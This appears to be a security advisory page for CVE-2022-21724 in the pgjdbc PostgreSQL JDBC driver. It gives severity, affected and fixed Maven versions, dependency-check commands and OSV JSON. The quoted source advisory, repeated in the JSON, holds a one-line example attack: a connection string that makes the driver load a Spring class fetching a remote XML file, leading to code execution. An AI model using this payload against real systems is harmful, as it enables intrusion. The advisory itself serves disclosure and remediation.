CVE-2022-21724: Postgresql Pgjdbc Does Not Check Class Vulnerability

HIGH
Advisory Identifier: GHSA-v7wg-cpwc-24m4
CVSS 7.0
CWE-668 CWE-74 CWE-665
Published
Advisory Summary

CVE-2022-21724 is a HIGH (CVSS 7.0) pgjdbc does not check class vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Postgresql libraries in the Maven ecosystem. The issue involves pgjdbc does not check class instantiation when providing plugin classes. Remediation is available by upgrading affected packages to version 42.2.25, 42.3.2.

CVE-2022-21724 at a Glance

CVE Identifier CVE-2022-21724
GHSA Identifier GHSA-v7wg-cpwc-24m4
Severity HIGH
CVSS v3.1 Base Score 7.0
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Postgresql
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2022-21724

To remediate this vulnerability, upgrade all affected Postgresql dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.postgresql:postgresql fixed: 42.2.25
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.2.25</version>
</dependency>
org.postgresql:postgresql fixed: 42.3.2
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.2</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.postgresql

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2022-21724, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.postgresql

Analyze the terminal output to locate any version of Postgresql in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 42.2.25), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.postgresql command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Postgresql, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

CVE-2022-21724 Affected Postgresql Versions

2 component(s)
Fixed Versions:
42.2.2542.3.2
Product / Package Ecosystem Affected Versions Fixed Version
org.postgresql:postgresql
Maven
≥ 9.4.1208
< 42.2.25
42.2.25
org.postgresql:postgresql
Maven
≥ 42.3.0
< 42.3.2
42.3.2

References

Frequently Asked Questions

What is CVE-2022-21724?
CVE-2022-21724 is a security vulnerability in Postgresql involving pgjdbc Does Not Check Class Instantiation when providing Plugin Classes under CWE-668: Exposure of Resource to Wrong Sphere.
Which Postgresql versions are affected?
Affected versions include releases prior to 42.2.25, 42.3.2 across affected packages: org.postgresql:postgresql.
What version fixes CVE-2022-21724?
Upgrading to 42.2.25, 42.3.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is postgresql affected?
Yes, org.postgresql:postgresql is affected in releases prior to 42.2.25, 42.3.2. Upgrade your dependency to 42.2.25, 42.3.2 or later.
What is the CVSS score of CVE-2022-21724?
CVE-2022-21724 has a CVSS v3.1 base score of 7.0 (HIGH) with vector string CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2022-21724?
CVE-2022-21724 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check Maven dependencies for CVE-2022-21724?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.postgresql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v7wg-cpwc-24m4",
  "modified" : "2022-08-12T13:14:09Z",
  "published" : "2022-02-02T00:04:20Z",
  "aliases" : [ "CVE-2022-21724" ],
  "summary" : "pgjdbc Does Not Check Class Instantiation when providing Plugin Classes",
  "details" : "### Impact\n\npgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.\n\nHowever, the driver did not verify if the class implements the expected interface before instantiating the class.\n\nHere's an example attack using an out-of-the-box class from Spring Framework:\n\n```\nDriverManager.getConnection(\"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml\");\n```\n\nThe first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.postgresql:postgresql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.4.1208"
      }, {
        "fixed" : "42.2.25"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.postgresql:postgresql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "42.3.0"
      }, {
        "fixed" : "42.3.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-21724"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pgjdbc/pgjdbc"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html"
  }, {
    "type" : "WEB",
    "url" : "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS"
  }, {
    "type" : "WEB",
    "url" : "https://security.netapp.com/advisory/ntap-20220311-0005"
  }, {
    "type" : "WEB",
    "url" : "https://www.debian.org/security/2022/dsa-5196"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-665", "CWE-668", "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-02-01T22:40:00Z",
    "nvd_published_at" : "2022-02-02T12:15:00Z"
  }
}